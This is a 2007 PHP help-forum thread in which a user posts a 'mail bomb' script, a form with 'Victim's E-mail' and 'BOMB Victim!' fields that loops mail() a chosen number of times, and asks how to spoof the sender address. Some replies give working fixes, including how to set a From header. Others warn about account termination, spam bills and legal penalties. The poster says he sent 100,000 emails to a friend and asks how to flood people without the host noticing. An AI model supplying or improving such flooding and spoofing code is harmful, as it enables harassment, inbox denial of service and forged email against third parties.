spleblem Posted June 10, 2007 Share Posted June 10, 2007 hey guys ive got this mail bomb php can anybody help me put a FROM: section in it so i can choose how the email will come from please thankx for the help in advance heres the script. <link rel="stylesheet" type="text/css" href="css.css" /> <? if ($mail == 1) { for ($i = 1; $i <= $count; $i++) { mail($to, $from, $subject, ""); echo "Mail #".$i." was send<br>"; } echo "Finished Bombing"; } else { ?> <form action="mailbomb.php?mail=1" method="post"> Victim's E-mail:<br> <input type="text" name="to"><br> How Many:<br> <input type="text" name="count"><br> Subject:<br> <input type="text" name="subject"><br> Message:<br> <textarea rows=10 cols=40 wrap="on" name="message"></textarea><br> <br> <input type="submit" value="BOMB Victim!"> </form> <? } ?> Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/ Share on other sites More sharing options...
mmarif4u Posted June 10, 2007 Share Posted June 10, 2007 Try this code: <link rel="stylesheet" type="text/css" href="css.css" /> <? $to=$_POST['to']; $count=$_POST['count']; $subject=$_POST['subject']; $message=$_POST['message']; $from='something@domain.com'; if ($mail == 1) { for ($i = 1; $i <= $count; $i++) { mail($to, $from, $subject, ""); echo "Mail #".$i." was send<br>"; } echo "Finished Bombing"; } else { ?> <form action="mailbomb.php?mail=1" method="post"> Victim's E-mail:<br> <input type="text" name="to"><br> How Many:<br> <input type="text" name="count"><br> Subject:<br> <input type="text" name="subject"><br> Message:<br> <textarea rows=10 cols=40 wrap="on" name="message"></textarea><br> <br> <input type="submit" value="BOMB Victim!"> </form> <? } ?> Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-271697 Share on other sites More sharing options...
spleblem Posted June 10, 2007 Author Share Posted June 10, 2007 thanx alot ill give it a try now. but can you make it so i can change the email just like the victims email with a text input. Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-271736 Share on other sites More sharing options...
spleblem Posted June 11, 2007 Author Share Posted June 11, 2007 sorry for double posting coufn't find the edit button but that script doesn't work the email still comes from admin@mywebsite.com please help Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272095 Share on other sites More sharing options...
kenrbnsn Posted June 11, 2007 Share Posted June 11, 2007 The parameters for the mail() function are: To Subject Body Additional headers (optional, but this is where you put the "From:" header Additional parameters (optional) So you should do something like this: <?php if ($mail == 1) { $from = "From: $from"; // I'm assuming that $from contains an email address $body = ''; // if there is something to put into the body of the message, put it in this variable for ($i = 1; $i <= $count; $i++) { mail($to, $subject, $body, $from); echo "Mail #".$i." was send<br>"; } echo "Finished Bombing"; ?> Ken Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272103 Share on other sites More sharing options...
spleblem Posted June 11, 2007 Author Share Posted June 11, 2007 yeah im pritty new to php but is that the whole scipt or do i paste it over thestart of the original script im a bit confused?? Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272125 Share on other sites More sharing options...
AndyB Posted June 11, 2007 Share Posted June 11, 2007 Re-read the responses, especially those from Ken and mmarif4u If the penny doesn't drop, maybe it's too early to start mailbombing anyone. BTW - your web host is unlikely to be thrilled by your consumption of mail server resources and you may find your account terminated. Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272129 Share on other sites More sharing options...
spleblem Posted June 11, 2007 Author Share Posted June 11, 2007 owh so they will know that i have sent 100,000 emails to a mate crap i didn't even think that would mater so when you send emails it has to go through a mail server. well it's a payed account so do you think the would mind. well i thought that figuring out this php script becuase it looked basic would be a good intro into the land of php scripts i know a bit of C++ and html but when i tried mmarif4u script the from was just a name not actually knot the email address from who it was from. would this work <link rel="stylesheet" type="text/css" href="css.css" /> <? $to=$_POST['to']; $count=$_POST['count']; $subject=$_POST['subject']; $message=$_POST['message']; $from=$_POST['from']; if ($mail == 1) { for ($i = 1; $i <= $count; $i++) { mail($to, $from, $subject, ""); echo "Mail #".$i." was send<br>"; } echo "Finished Bombing"; } else { ?> <form action="mailbomb.php?mail=1" method="post"> Victim's E-mail:<br> <input type="text" name="to"><br> How Many:<br> <input type="text" name="count"><br> Subject:<br> <input type="text" name="subject"><br> Message:<br> <textarea rows=10 cols=40 wrap="on" name="message"></textarea><br> From:<br> <input type="text" name="from"><br> <br> <input type="submit" value="BOMB Victim!"> </form> <? } ?> Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272132 Share on other sites More sharing options...
AndyB Posted June 11, 2007 Share Posted June 11, 2007 well it's a payed account so do you think the would mind. No. They'll be delighted to keep your money and close the account. Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272137 Share on other sites More sharing options...
spleblem Posted June 11, 2007 Author Share Posted June 11, 2007 i edited my last post can ya give it a read is there anyway to bomb people with out the web-host caring and would there be a way to see rules or something Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272139 Share on other sites More sharing options...
TEENFRONT Posted June 11, 2007 Share Posted June 11, 2007 Becareful with your little "bomb" script mate. Your host can and most likley will get seriosly pissed off with you if you run the script to send 100,000 emails especially on shared hosting. The server would likley grind to a halt and various services will also stop and/or crash. Shared hosting only allows like 10% of the CPU to be used per account...this is likley to go waaaaay up and get your account banned. Depending on your host, they may also send you/threaten to send you a nasty SPAM bill.. Becareful when sending emails through php. Make sure you only send to opt-in addresses ( and you can prove it ) that way you dont get bummed by the host for spamming. Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272141 Share on other sites More sharing options...
AndyB Posted June 11, 2007 Share Posted June 11, 2007 is there anyway to bomb people with out the web-host caring Sure, set up your own server - web server and mail server - and bomb away. Since that's an offence in most civilized jurisdictions, be prepared for equipment to be confiscated and either a hefty fine or jail time to follow. Perhaps you want to try a different script to learn? I'm getting grouchy. Time for bed. Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272142 Share on other sites More sharing options...
spleblem Posted June 11, 2007 Author Share Posted June 11, 2007 yeah the mail bomb was only a little thing to annoy one of my mates well ill go back to this web proxy ive got set up on the same server. and how would i go about setting up a webserver. anyone know any tut's and how much it would cost. Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272153 Share on other sites More sharing options...
TEENFRONT Posted June 11, 2007 Share Posted June 11, 2007 buy a decent pc, get a decent net connection, install wamp ( if your wanting to run it on windows ) Done. Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272160 Share on other sites More sharing options...
spleblem Posted June 11, 2007 Author Share Posted June 11, 2007 well ive got a decent spare computer but over here in australia there no such thing as decent internet the fastest here is 8mb and that cost about $100 a month. then do you just always leave your computer running and that it right i would have myself a server. but i would still need to get domain names could someone tell me how that works ive never really understood know owns then and has the right to sell them and i just logged on to my webhost mister.net and it says ive used %2 of my monthy data transfer $51 of that in email. and that im allowed to set up 1000mail accounts for 1000users it got like 5g data transfer. Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272164 Share on other sites More sharing options...
spleblem Posted June 12, 2007 Author Share Posted June 12, 2007 yes back to my mailbomb ive been tring to get it so i can send from what ever address i enter but it doesn't work it just changes the name from know the email comes from not the address abit of help would be good please Quote Link to comment https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272964 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.